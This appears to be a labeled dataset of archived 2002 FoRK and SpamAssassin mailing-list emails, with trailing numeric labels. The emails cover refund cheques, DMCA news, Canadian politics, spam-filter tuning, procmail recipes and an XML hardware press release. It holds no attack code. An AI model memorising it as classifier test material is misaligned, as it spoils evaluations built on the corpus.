(drum roll please) $0.00! Sometimes the people I talk to cannot locate the account in their system and tell me that the phone number doesn't exist. Some people are able to locate the account but say that it has been disconnected and there is no way we could get a bill sent to us for that account. Some people can locate the account and verify that the line has been disconnected for three years and that the amount owed is $0.00 and then they say somthing along the lines of ""Huh?"" or ""I'm not sure what's going on... Hold please."" And eventually I have similar conversations with their managers and the account representatives and billing people and their managers and their managers' managers ad naseum. The outcome of every phone call is that they'll ""look into it"" and fix the problem and I might receive one or two more bills depending on when it's resolved. So I wait a month or two and send the bills back marked ""Not at this address, please fsck off."" and then eventually call them back and go through the whole process again. Lately I just explain to the phone jockeys that I know it's not their fault and I'm not mad at them and it's just not their day because I'm about to give them hell. Then I give them the opportunity to have me yell at their boss which they seem all too happy to do. At least it gives me a positive way to vent my aggressions and it's a lot cheaper than seeing a therapist. Perplexed, Elias bitbitch@magnesium.net wrote: > >So I get a check from Pac Bell today (SBC as they're called now). >Turns out, they went to the trouble of printing out, signing, sealing >and stamping a check just to refund me for a whole $0.33. > >[...] >",0,0 CDale ,bitbitch@magnesium.net,"Mon, 7 Oct 2002 14:20:33 -0500 (CDT)",Re: The absurdities of life.,"It was a kick when an apt manager kept mailing me a notice that I owed them .08. I just waited to see how many times they'd mail me a notice. 7 times by the time I left and paid them the .08. Funny thing was, I lived right behind the office where it was mailed from. (: Cindy On Mon, 7 Oct 2002 bitbitch@magnesium.net wrote: > > > So I get a check from Pac Bell today (SBC as they're called now). > Turns out, they went to the trouble of printing out, signing, sealing > and stamping a check just to refund me for a whole $0.33. > > They easily spent more than this just getting the materials together. > Why the hell do companies bother to do this crap? I mean, isn't there > a bottom line in terms of cost effectiveness? I don't think I missed > the .33, but I sure as hell would have appreciated lower rates in lieu > of being returned pennies. > > I'm truly stuck on this though. I don't know whether to frame the > check, burn it, or cash it in. Maybe I should find a way to return to > sender, so they have to spend -more- money on giving me my .33 dues. > > > Does .33 even buy anything anymore? Funny bit of it, is I couldn't > even make a phone call these days. > > *boggled* > BB. > > -- ""I don't take no stocks in mathematics, anyway"" --Huckleberry Finn",0,0 Tom ,bitbitch@magnesium.net,"Mon, 7 Oct 2002 15:30:11 -0400 (EDT)",Re: The absurdities of life.,"On Mon, 7 Oct 2002 bitbitch@magnesium.net wrote: --]I'm truly stuck on this though. I don't know whether to frame the --]check, burn it, or cash it in. I framed my 2$ check from mp3.com. Someone bought the Cd I have up there some years back and it is my real and actual proof in saying I am a paid musician. Of course I never cashed the check so techinaly I never did get paid...but thats another matter alltogther.",0,0 bitbitch@magnesium.net,fork@spamassassin.taint.org,"Mon, 7 Oct 2002 15:26:19 -0400",And yet more absurdity.,"I knew it'd be a day for insanity. so anyway, news.com decided to write up two wonderful articles on the DMCA and decided to link to decss.exe, the very verboten code that ended up getting 2600 (but none of the other news services that originally linked) spanked. Slashdot, of course, links to them. So now, I link to slashdot. http://slashdot.org/articles/02/10/07/1331217.shtml?tid=123 I find this all incredibly funny really. Congress _and_ the courts relaly do need to be considering how laws such as the DMCA are applied. For the most part, these rules are coming down to whose friend you happen to be, how nefarious the defendant party is, and how asleep the judge is behind the case (asleep/self-interested/bought). Its giving me a real cynical view on being a lawyer, thats for sure. -- Best regards, bitbitch mailto:bitbitch@magnesium.net",0,1 Owen Byrne ,Dave Long ,"Mon, 07 Oct 2002 16:48:36 -0300",Re: erratum [Re: no matter ...] & errors,"Dave Long wrote: >> >> >> >>>""The United States is the only country in the world to tax its citizens >>>on a worldwide basis, ... >>> >>> > >I am told this is also true (at least) >for Australia. I suppose I shouldn't >rely upon editorial fact-checking. > >:::::: > > > >> If they manage to emulate the process >>that occurred in Northern Ireland, then maybe in 20 years or so >>they'll be yelling at each other across the floor of some legislative >>assembly instead. Label me an optimist. >> >> > >Since ""let's you and him fight"" worked >so remarkably poorly in Ireland, there >must've been plenty of places it worked >well for the British to have tried it >again in Israel. What were they? > >-Dave > > I'm not sure what you mean by ""let's you and him fight"", but it is important to remember that England was in control of Ireland for 300 years, and that it was only thanks to the distraction of WW I that the south managed to gain its independence. If you mean splitting countries upon arbitrary lines and assigning different groups to opposite sides of the line, it also seems to have not worked in India/Pakistan. I suppose Canada, which is supposed to be a ""loose confederation"" of 2 founding nations (French and English) can be cited as a success. The jury is still out, but so far only a few brief rebellions and referendums and such, still together after 130+ years. Owen",0,1 Tom ,fork@spamassassin.taint.org,"Mon, 7 Oct 2002 16:45:02 -0400 (EDT)","Quick, Outlaw Touching","I know I heard of this a few years back but Wired and Slashyrot are both running stories on 10mbs data transfer via human touch. Oh I can see it now, The first bicostal file exchange system that will see the newsest Offspring tunes distribute by handshake, copulation and moshpiting. http://www.newscientist.com/news/news.jsp?id=ns99992891 http://www.news.com.au/common/story_page/0,4057,5239758%255E13762,00.html http://slashdot.org/articles/02/10/07/0238234.shtml?tid=100",0,1 bitbitch@magnesium.net,Tom ,"Mon, 7 Oct 2002 16:45:41 -0400","Re: Quick, Outlaw Touching","Hello Tom, Monday, October 7, 2002, 4:45:02 PM, you wrote: T> I know I heard of this a few years back but Wired and Slashyrot are both T> running stories on 10mbs data transfer via human touch. T> Oh I can see it now, The first bicostal file exchange system that will see T> the newsest Offspring tunes distribute by handshake, copulation and T> moshpiting. T> http://www.newscientist.com/news/news.jsp?id=ns99992891 T> http://www.news.com.au/common/story_page/0,4057,5239758%255E13762,00.html T> http://slashdot.org/articles/02/10/07/0238234.shtml?tid=100 Wow. I'm just wondering how the earliest adopter of all new technologies, the porn market will spin this one... ""New... Now you can transfer porn while you screw!' Talk about exchanging energy. -- Best regards, bitbitch mailto:bitbitch@magnesium.net",0,1 """John Hall"" ",,"Mon, 7 Oct 2002 14:02:28 -0700",RE: The absurdities of life.,"They are legally required to do that. I got a similar check because an insurance company didn't pay a claim quickly enough. It might have been $.02. Although they spent lots more than $.33 to mail you the check, the alternative seems to be to keep the money. Do you really want companies to have a financial incentive to over-bill you 'just a bit' so they could keep it? For a company with millions of customers, $.33/customer starts adding up. > From: fork-admin@xent.com [mailto:fork-admin@xent.com] On Behalf Of > bitbitch@magnesium.net > So I get a check from Pac Bell today (SBC as they're called now). > Turns out, they went to the trouble of printing out, signing, sealing > and stamping a check just to refund me for a whole $0.33. > > They easily spent more than this just getting the materials together. > Why the hell do companies bother to do this crap? I mean, isn't there > a bottom line in terms of cost effectiveness? I don't think I missed > the .33, but I sure as hell would have appreciated lower rates in lieu > of being returned pennies. > > I'm truly stuck on this though. I don't know whether to frame the > check, burn it, or cash it in. Maybe I should find a way to return to > sender, so they have to spend -more- money on giving me my .33 dues. > > > Does .33 even buy anything anymore? Funny bit of it, is I couldn't > even make a phone call these days. > > *boggled* > BB. > > -- > Best regards, > bitbitch mailto:bitbitch@magnesium.net",0,0 bitbitch@magnesium.net,John Hall ,"Mon, 7 Oct 2002 17:10:17 -0400",Re[2]: The absurdities of life.,"JH> They are legally required to do that. I got a similar check because an JH> insurance company didn't pay a claim quickly enough. It might have been JH> $.02. JH> Although they spent lots more than $.33 to mail you the check, the JH> alternative seems to be to keep the money. Do you really want companies JH> to have a financial incentive to over-bill you 'just a bit' so they JH> could keep it? For a company with millions of customers, $.33/customer JH> starts adding up. Christ, you sound worse than me. What I -said- in my post, John, was that instead of having to dole out stupid refunds, I'd rather they save the costs incurred, knock off one of those bullshit surcharges that they inevitably charge for promoting services like these, and move on. SOmething tells me, it'd balance out. Problem is, they're silly, they don't want to do this, and rather than the legislation coming up with an affective means of controlling the situation (overcharging) they impose silly requirements like this. >> From: fork-admin@xent.com [mailto:fork-admin@xent.com] On Behalf Of >> bitbitch@magnesium.net >> So I get a check from Pac Bell today (SBC as they're called now). >> Turns out, they went to the trouble of printing out, signing, sealing >> and stamping a check just to refund me for a whole $0.33. >> >> They easily spent more than this just getting the materials together. >> Why the hell do companies bother to do this crap? I mean, isn't there >> a bottom line in terms of cost effectiveness? I don't think I missed >> the .33, but I sure as hell would have appreciated lower rates in lieu >> of being returned pennies. >> >> I'm truly stuck on this though. I don't know whether to frame the >> check, burn it, or cash it in. Maybe I should find a way to return to >> sender, so they have to spend -more- money on giving me my .33 dues. >> >> >> Does .33 even buy anything anymore? Funny bit of it, is I couldn't >> even make a phone call these days. >> >> *boggled* >> BB. >> >> -- >> Best regards, >> bitbitch mailto:bitbitch@magnesium.net -- Best regards, bitbitch mailto:bitbitch@magnesium.net",0,0 James Rogers ,fork@spamassassin.taint.org,07 Oct 2002 16:45:30 -0700,Re: erratum [Re: no matter ...] & errors,"On Mon, 2002-10-07 at 12:48, Owen Byrne wrote: > I suppose Canada, which is supposed to be a ""loose confederation"" of 2 > founding nations (French and English) can be cited as a success. The > jury is still out, but so far only a few brief rebellions and > referendums and such, still together after 130+ years. Alberta, and to a lesser extent some of the other Western provinces, is definitely not happy with the current arrangement. Some of this has to do with the strange way the Canadian government is structured. When I was last up in Alberta (a month ago), the newspapers were reporting something like 70% of Albertans favor separating from Canada, and over several distinct issues. The problem is basically that while Alberta is an economic powerhouse that is propping up the weaker economies of the Eastern provinces, their interests are openly and unapologetically ignored by the government in Ottawa. While Alberta sends something like twice the tax dollars to Ottawa per capita of the average Canadian, they only have token representation in the federal government. While I'm not clear on exactly how the government works up there, representation is not entirely based on population, and it works out that some eastern provinces with populations smaller than the city of Calgary alone have substantially more representatives in the legislature than the entire province of Alberta. The long and the short of it is that the eastern provinces use Alberta as a personal ATM machine for their social programs while not even so much as throwing Alberta a bone, and are able to do so because even the sparsely populated eastern provinces can out-vote Alberta despite having fewer people. Or something like that. The Canadian government is less restricted than the US government, so they can do strange things, like having restrictive regulations that only apply to certain provinces, Alberta being on the receiving end of many such obscenities. It is essentially a much worse version of what is happening in the inter-mountain West of the US. Unlike the US case though, the rest of Canada would really be hurting if they weren't receiving all those tax dollars from Alberta. OTOH, Alberta would probably thrive. I have friends in Alberta, and visit occasionally, but I'm not totally clear on everything that goes on in that country, due to my partial unfamiliarity with how the government works up there, so I'm a little fuzzy on some of the details. What I do know is that on average the Albertans are quite unhappy with their current position in Canada and the sentiment has been getting worse over the years. Cheers, -James Rogers jamesr@best.com",0,0 Rohit Khare ,fork@spamassassin.taint.org,"Mon, 7 Oct 2002 17:09:00 -0700",why is decentralization worth worrying about?,"Why am I so passionate about decentralization? Because I believe some of todays most profound problems with networked applications are caused by centralization. Generically, a centralized political or economic system permits only one answer to a question, while decentralization permits many separate agents to hold different opinions of the same matter. In the specific context of software, centralized variables can only contain one valid value at a time. That limits us to only representing information A) according to the beliefs of a single agency, and B) that changes more slowly than it takes to propagate. Nevertheless, centralization is the basis for todays most popular architectural style for developing network applications: client-server interaction using request-response communication protocols. I believe these are profound limitations, which we are already encountering in practice. Spam, for example, is in the eye of the beholder, yet our email protocols and tools do not acknowledge the separate interests of senders and receivers. Slamming, for another, unfairly advantages the bidder with the lowest-latency connection to a centralized auction server. Sharing ad-hoc wireless networks is yet a third example of decentralized resource allocation. Furthermore, as abstract as centralization-induced failures might seem today, these limits will _not_ improve as the cost of computing, storage, and communication bandwidth continue to plummet. Instead, the speed of light and human independence constitute _fundamental_ limits to centralized information representation, and hence centralized software architecture.",0,0 """Joseph S. Barrera III"" ",Chris Haun ,"Thu, 22 Aug 2002 12:16:04 -0700",Re: lifegem,"Chris Haun wrote: > A LifeGem is a certified, high quality diamond created from the carbon of > your loved one as a memorial to their unique and wonderful life. Why wait until you're dead? I'm sure there's enough carbon in the fat from your typical liposuction job to make a decent diamond. - Joe http://xent.com/mailman/listinfo/fork",0,1 """John Hall"" ",,"Thu, 22 Aug 2002 13:02:45 -0700",Property rights in the 3rd World (De Soto's Mystery of Capital),"> From: fork-admin@xent.com [mailto:fork-admin@xent.com] On Behalf Of Dave > Long > Sent: Thursday, August 22, 2002 11:12 AM > To: fork@spamassassin.taint.org > Subject: RE: The Curse of India's Socialism > > > > When I'd read that ""getting legal title > can take 20 years"", when I believe that > 1 year ought to be more than sufficient, > (and helped by the Cairo reference) I'd > assumed that we were talking about the > urban poor. > > If I see people living in mansions, or > even in suburban subdivisions, I assume > they didn't have too much trouble with > their titles. Pg 177: In another country, a local newspaper, intrigued by our evidence of extralegal real estate holdings, checked to see if the head of state's official residence had a recorded title. It did not. Pg 92: The value of land in the formal sector of Lima averages US$50 per square meter, whereas in the area of Gamarra, where a great deal of Peru's informal manufacturing sector resides, the value per square meter can go as high as US$3,000. ========== I'd have made the same assumption you did. De Soto says that isn't correct. You can find mansions that don't have title. A lot of them, in fact. But they can't be used for collateral for a loan, or otherwise participate as 'capital' because of their extra-legal status. > > Mr. Long, I think you'd particularly enjoy the De Soto work. > > On the ""to find"" list. Any chance of > an explanation of that ""Bell Jar"" in > the meantime? French historian Fernand Braudel (so Braudel's Bell Jar, not De Soto's) ==> The key problem is to find out why that sector of society of the past, which I would not hesitate to call capitalist, should have lived as if in a bell jar, cut off from the rest; why was it not able to expand and conquer the whole of society? ... [Why was it that] a significant rate of capital formation was possible only in certain sectors and not in the whole market economy of the time? ... It would perhaps be teasingly paradoxial to say that whatever was in short supply, money certainly was not ... so this was an age where poor land was bought up and magnificent country residents built ... [How do we] resolve the contradiction ... between the depressed economic climate and the splendors of Florence under Lorenzo the Magnificent? -------------- De Soto's theory is that the Bell Jar is formed when you segregate those who have *practical* access to legal property rights and those who do not. The poor[1] have property -- lots and lots of property. What they don't have is access to the systems where we turn property into capital and allow it to start growing. Their property can only be exchanged with a small section of people who know them personally. [1] Actual poor people, not 'poor' Americans with a living standard that is the envy of most of the world. http://xent.com/mailman/listinfo/fork",0,1 Lucas Gonze ,,"Thu, 22 Aug 2002 19:18:12 -0400 (EDT)",Re: The case for spam,"Political mail (the snail kind) doesn't bother me. I like it a lot of the time, because as crap as it is at least it's not the kind of info you get on TV. Particularly for small time local politics, it's the best way to get information. but what matters is that mail is speech, and political email has to be as well protected as any other political speech. Spam is *the* tool for dissident news, since the face that it's unsolicited means that recipients can't be blamed for being on a mailing list. http://xent.com/mailman/listinfo/fork",0,1 Tom ,Robert Harley ,"Fri, 23 Aug 2002 01:15:29 -0400 (EDT)",Re: Entrepreneurs,"On Fri, 23 Aug 2002, Robert Harley wrote: --]It's an amusing anecdote, I don't know if it's true or not, but certainly --]nothing here supports the authoritative sounding conclusion ""Status: False"". --] So thats the trick, just let any anecdotal utterances you LIKE be deemed true until proven false, and then hold other data to the opposite standard... Yeah, I see how that could be a handy tool RH. (before teh lablemongers are out and about, I could give a shit what BubbaU utters, its all shite. Kill your idols folks, your slips are showing) -tom http://xent.com/mailman/listinfo/fork",0,1 harley@argote.ch (Robert Harley),fork@spamassassin.taint.org,"Fri, 23 Aug 2002 11:48:33 +0200 (CEST)",Re: Entrepreneurs,"I wrote: >I personally doubt it simply because I never heard of Bush and Chirac >going to Brighton. Actually it doesn't say that they did, just that Blair spoke to Williams there. R http://xent.com/mailman/listinfo/fork",0,1 """Joseph S. Barrera III"" ",FoRK ,"Sun, 01 Sep 2002 16:51:54 -0700",Re: revocation of grlygrl201@,"bitbitch@magnesium.net wrote: > Well Beberg, unless you're really into Anime and actually hold true > that dead people can send email, I think Geege's subject is just > dandy. Funny you should mention that, as I just came back from refilling the green coolant in my Navi. > (bonus FoRK points if Adam knows what anime i'm refering to) I guess I don't get any points, do I? No, didn't think so. - Joe P.S. We've just started watching Boogiepop Phantom... -- The Combatant State is your father and your mother, your only protector, the totality of your interests. No discipline can be stern enough for the man who denies that by word or deed.",0,0 """Adam L. Beberg"" ",,"Sun, 1 Sep 2002 17:13:25 -0700 (PDT)",Re: revocation of grlygrl201@,"On Sun, 1 Sep 2002 bitbitch@magnesium.net wrote: > Well Beberg, unless you're really into Anime and actually hold true > that dead people can send email, I think Geege's subject is just dandy. > Especially since she removed herself from the hive that is aol (and > placed herself unto another, but hey :-)) Bandwidth is bandwidth. AOL is still the only mom-friendly place to get it. > *ducks and runs* What, like i'm not skilled with a bow? You better run really fast :-P > (bonus FoRK points if Adam knows what anime i'm refering to) Well lets see, about 99% of all anime? In anime dead people can talk, email, hang out, and generally lead normal lives. Come to think of it they tend to be the primary characters ;) But I suspect you mean Serial Experiments Lain, in which the initial ""i'm not dead yet"" is via email. - Adam L. ""Duncan"" Beberg http://www.mithral.com/~beberg/ beberg@mithral.com",0,1 Justin Shore ,"Ed Greenberg ,","Thu, 22 Aug 2002 09:45:16 -0500",Re: [SAtalk] SA and Patented Ideas (was: SA In The News),"At 8:43 PM -0700 8/21/02, Ed Greenberg wrote: >At 11:19 PM 8/20/2002 -0700, dan@dankohn.com wrote: > >>The nature of our patent is about putting a warrant mark in RFC 2822 >>X-headers (or in the body) to allow senders to warrant their mail as >>*not-spam*, and then to use copyright and trademark infringement to >>enable Habeas to enforce that warranty. Why is it that I envision Verisign doing something like this. Yeah, like I want Verisign to sign all my spam, er, mail for me. Pay them enough and they'd probably sign spam too. ;) J -- -- Justin Shore, ES-SS ES-SSR Pittsburg State University Network & Systems Manager http://www.pittstate.edu/ois/ ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Bart Schaefer ,SpamAssassin Talk ML ,"Thu, 22 Aug 2002 08:12:50 -0700 (PDT)",Re: [SAtalk] SA In The News,"On Tue, 20 Aug 2002, Matthew Cline wrote: > On Tuesday 20 August 2002 07:57 pm, Harold Hallikainen wrote: > > http://www.wired.com/news/technology/0,1282,54645,00.html > > Summary: a company will offer short snippets of original, copyrighted > and trademarked text that can be inserted into email message headers, > and email filters can recognize this as a ""not-spam"" indicator. Any > spammers who use the text will be sued for copyright and trademark > infringement. They may be in for a patent fight before any of this goes forward: http://www.eweek.com/article2/0,3959,476558,00.asp ""Banking on the fact that few enterprises sending commercial mail want to be associated with spam, IronPort Systems Inc., in San Bruno, Calif., has developed the Bonded Sender program in an effort to give legitimate bulk e-mailers some credibility."" ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Marc Perkel ,spamassassin-devel@example.sourceforge.net,"Thu, 22 Aug 2002 08:17:47 -0700",[SAdev] Body Test Question /d ?,"Suppose I created a rule that was in this form: body RULE_NAME /text to delete/d Would the ""/d"" delete this text from the body and mask it from the rest of the rules? If so - I'm thinking about applying it to Yahoo and SN and Juno ads so that FPs are reduced. ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-devel mailing list Spamassassin-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-devel",0,1 Justin Shore ,yyyy@spamassassin.taint.org (Justin Mason),"Thu, 22 Aug 2002 10:20:06 -0500",Re: [SAtalk] Highest-scoring false positive,"At 3:59 PM +0100 8/22/02, Justin Mason wrote: >Justin Shore said: > >> I just ran across a false positive that scored 8.6. The message was >> a solicited ad from Apple.com on educator deals. I can send a copy >> if anyone wants it. > >Yes, please do send it on, and I'll add it to the non-spam corpus. To any particular address? I checked the lists page but didn't see an address to see a FP to. >To date, the scores evolved by SpamAssassin are very biased towards >non-HTML, non-newsletter-ish mail. This release should be different, as >I've been spending the last month signing up a ""nonspamtrap"" to every >legit newsletter I can find ;) That's understandable. HTML mail is the worst thing since female shoe sales at the mall. ;-) Signup for the cruisercustomizing.com newsletter. Great place to find and review motorcycle parts. :) >This should mean that tests which match common-enough newsletter practices >will no longer get such high scores once we re-run the GA. Sound pretty slick. If I come across any more legit newsletters, I'll send them your way. Thanks for the info Justin -- -- Justin Shore, ES-SS ES-SSR Pittsburg State University Network & Systems Manager http://www.pittstate.edu/ois/ ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Russ Gilman-Hunt ,SpamAssassin List ,"Thu, 22 Aug 2002 09:09:12 -0700",[SAtalk] procmail help,"I'm fairly confused here, with Procmail. I know this isn't a procmail list per-se; feel free to answer my questions in private email to r_gilmanhunt@hotp.com. I've looked for web-stuff to answer this question but I can't find anything specific on this scenario. Here's the situation. I have a global /etc/procmailrc file. It works, and when I insert stuff into it for logging (LOGFILE=/root/procmail.log, VERBOSE=yeah. LOGABSTRACT=all) it shows up where I expect it to (the log in /root/procmail.log) At the end of this file, I use :0fw | spamc to call spamassassin. Also in it is a carboncopy recipe (yes, I know, it's one of the evils we do for our corporate masters) (at the top) (to their credit, I am instructed that they are not interested in the actual contents, but are concerned about future lawsuits and their culpability, so they want a record made. Discussion on this point is immaterial) :0 * ? test -d $ARCHIVEDIR/$DATEDIR || mkdir -p --mode=750 $ARCHIVEDIR/$DATEDIR { } :0 c $SAVEAT I have several users where I forward certain spams to /dev/null . . .their procmailrc file (/home/$user/.procmailrc) looks like this: :0 * ^From: .*spermfun.com /dev/null Now I've got a person who needs a copy of her inbound emails sent to another email address (outside the company), so I've got this recipe in her /home/$user/.procmailrc file: :0 c !user@domain.tld It almost looks like procmail's not running a user's copy recipe after a global copy recipe, except that I can replace that user's one with :0 * ^Subject: .*test procmail.holder and get the same result. The result, to put it succinctly, is ""nothing"". No forwards go out, no files are made, if I try to log information, no logs are set up. I've modified the user/group and permissions to match known-working recipes (the spermfun example above) and still nothing. However, I can redirect those other messages. In other words- just this user's procmailrc file is not working- other users have no problems. Any suggestions would be helpful :) -Russ ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 """Craig R.Hughes"" ","""Karsten M. Self"" ","Thu, 22 Aug 2002 10:33:33 -0700",Re: [SAtalk] Highest-scoring false positive,"Interesting. It's possible, of course, that the shitty economy is hurting the spammers as much as anyone else. But if you've been aggressively reporting, then it could just be that. Could be your upstream ISP is being more aggressive too... C On Wednesday, August 21, 2002, at 05:02 PM, Karsten M. Self wrote: > ...what these plots *don't* show is the drop from ~55 > mails/daily to ~30 > daily that I've seen at work, since 1st week of May, when spam receipts > peaked. Not sure if it's aggressive reporting that's getting us off > lists, or if other people are seeing similar. ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 yyyy@spamassassin.taint.org (Justin Mason),Theo Van Dinter ,"Thu, 22 Aug 2002 18:30:45 +0100","Re: [SAdev] 2.40 RELEASE PROCESS: mass-check status, folks?","Theo Van Dinter said: > > nonspam-theo.log > > Hmmm. I did re-run mass-check and resubmit... I sort the log by score, > so the timestamp is at the end: ah, OK. didn't see that. --j. ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-devel mailing list Spamassassin-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-devel",0,1 Justin Shore ,"Theo Van Dinter ,","Thu, 22 Aug 2002 12:35:46 -0500",Re: [SAtalk] 2800 sightings this month,"At 1:16 PM -0400 8/22/02, Theo Van Dinter wrote: >On Thu, Aug 22, 2002 at 07:05:33PM +0200, Malte S. Stretz wrote: >> Ummm... has somebody noticed that spamassassin-sightings is the fourth most >> active list for this month on [1]? There is more sighting than talk and >> devel together ;-) > >hmmm. do people know that they should only send false negatives there? >either there's a lot of stuff SA is missing, or some people are just >sending all their spam there. I've sent in some spam that either didn't score or scored practically nothing, like below 5. I figure that most people run at 5 so if it scores less than that, a rule needs to be honed to catch it. Justin -- -- Justin Shore, ES-SS ES-SSR Pittsburg State University Network & Systems Manager http://www.pittstate.edu/ois/ ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 """Tony L. Svanstrom"" ",Justin Mason ,"Thu, 22 Aug 2002 23:26:17 +0200 (CEST)",Re: [SAdev] Integrating SA with Mail::CheckUser ?,"On Thu, 22 Aug 2002 the voices made Justin Mason write: > > The perl-module Mail::CheckUser implements a smtp-callback and I hope > > it might be integrated rather easily. > > Has this extension been discussed before (and perhaps rejected)? > > Or perhaps someone is already planning to implement it? > > Or would you be interested to integrate a smtp-callback-patch in > > SpamAssassin if contributed by my department? We would not be to happy > > about such a patch which we had to manage and integrate with SA in the > > future, but I believe a one-time contribution would be no problem. How'd this deal with you running SA on an account where all the mail from some domain on another server ends up? /Tony -- # Per scientiam ad libertatem! // Through knowledge towards freedom! # # Genom kunskap mot frihet! =*= (c) 1999-2002 tony@svanstrom.com =*= # perl -e'print$_{$_} for sort%_=`lynx -dump svanstrom.com/t`'",0,0 Rohit Khare ,fork@spamassassin.taint.org,"Tue, 27 Aug 2002 15:00:13 -0700",DataPower announces XML-in-silicon,"No analysis yet... don't know what to make of it yet. But here's the raw bits for all to peruse and check out what's really going on... Best, Rohit =========================================================== DataPower delivers XML acceleration device ByScott Tyler Shafer August 27, 2002 5:46 am PT DATAPOWER TECHNOLOGY ON Monday unveiled its network device designed specifically to process XML data. Unlike competing solutions that process XML data in software, DataPower's device processes the data in hardware -- a technology achievement that provides greater performance, according to company officials. The new device, dubbed DataPower XA35 XML Accelerator, is the first in a family of products expected from the Cambridge, Mass.-based startup. The DataPower family is based on a proprietary processing core technology called XG3 that does the analysis, parsing, and processing of the XML data. According to Steve Kelly, CEO of DataPower, the XA35 Accelerator was conceived to meet the steady adoption of XML, the anticipated future proliferation of Web services, and as a means to share data between two businesses. ""Our vision is to build out an XML-aware infrastructure,"" Kelly said. ""The XA35 is the first of a family."" Kelly explained that converting data into XML increases the file size up to 20 times. This, he said, makes processing the data very taxing on application servers; DataPower believes an inline device is the best alternative. In addition to the large file sizes, security is also of paramount importance in the world of XML. ""Today's firewalls are designed to inspect HTTP traffic only,"" Kelly said. ""A SOAP packet with XML will go straight through a firewall. Firewalls are blind to XML today."" Future products in DataPowers family will focus more specifically on security, especially as Web services proliferate, Kelly said. According to DataPower, most existing solutions to offload XML processing are homegrown and done in software -- an approach the company itself tried initially and found to be inadequate with regards to speed and security. After trying the software path, the company turned to creating a solution that would process XML in hardware. ""Our XG3 execution core converts XML to machine code,"" said Kelly, adding that to his knowledge no other company's solution does. Kelly said in the next few months he expects the market to be flooded with technologies that claim to do XML processing -- claims that he believes will be mostly false. Other content-aware switches, such as SSL (secure socket layer) accelerators and load balancers, look at the first 64 bytes of a packet, while the XA35 provides deeper packet inspection, looking at 1,400 bytes and thus enabling greater processing of XML data, Kelly explained. The 1U-high network device has been tested against a large collection of XML and XSL data types and can learn new flavors of the markup language as they pass through the device. The XA35 can be deployed in proxy mode behind a firewall and a load balancer, and it will inspect all traffic that passes and will identify and process those packets that are XML, Kelly said. In addition to proxy mode, the device can also be used as an application co-processor. This deployment method gives administrators more granular control over what data is inspected and the application server itself controls the device. DataPower is not the only company chasing this emerging market. Startup Sarvega, based in Burr Ridge, Ill., introduced the Sarvega XPE switch in May, and earlier this month Tarari, an Intel spin-off, launched with a focus on content processing and acceleration. The DataPower device is now available, priced starting at $54,995. The company has announced one customer to date and says the product is in field trails at a number of other enterprises. ========================================================================= DataPower has been addressing enterprise networking needs since it was founded in early 1999 by Eugene Kuznetsov, a technology visionary who foresaw the adverse effects XML and other next generation protocols would have on enterprise networks. Long before industry interest in XML grew, Kuznetsov assembled a team of world-class M.I.T. engineers and designed the industry's first solutions to address the unique requirements for processing XML. The first such solution was a software interpreter called DGXT. This software-based approach to XML processing is still licensed by many companies for use in their own products today. Leveraging the detailed knowledge and customer experience gained from developing software-based accelerators, Kuznetsov's team raised the bar and designed a system for processing XML in purpose-built hardware. In 2001, DataPower's effort produced XML Generation Three (XG3), the industry's fastest technology for XML processing, bar none. Today, XG3 technology powers the industry's first wire-speed XML network devices, enabling secure, high-speed applications and XML Web Services. While other companies are just now marketing first versions of products, DataPower is delivering its third generation of technology, providing an immediate return on technology investments to industry-leading customers and partners. DataPower's M.I.T. heritage is complemented by a management team that brings decades of experience in the networking and computing industries, drawing veteran leaders from several successful companies including Akamai, Argon, Cascade, Castle Networks, Sycamore and Wellfleet. ========================================================================= DataPower Technology Secures $9.5 Million in Funding Venrock Associates, Mobius Venture Capital and Seed Capital Back Pioneer in XML-Aware Networking for Web Services CAMBRIDGE, Mass. - July 8, 2002 - DataPower Technology, Inc., the leading provider of XML-Aware network infrastructure, today announced that it has secured $9.5 million in series B financing. Investors for this round include Venrock Associates, Mobius Venture Capital and Seed Capital Partners. Michael Tyrrell, of Venrock, Bill Burnham, of Mobius, and Jeff Fagnan, of Seed Capital, have joined DataPowers Board of Directors. DataPower will use this funding to accelerate development, marketing and sales of the companys breakthrough technology for XML-Aware networking. Founded in 1999, DataPower invented the worlds first intelligent XML 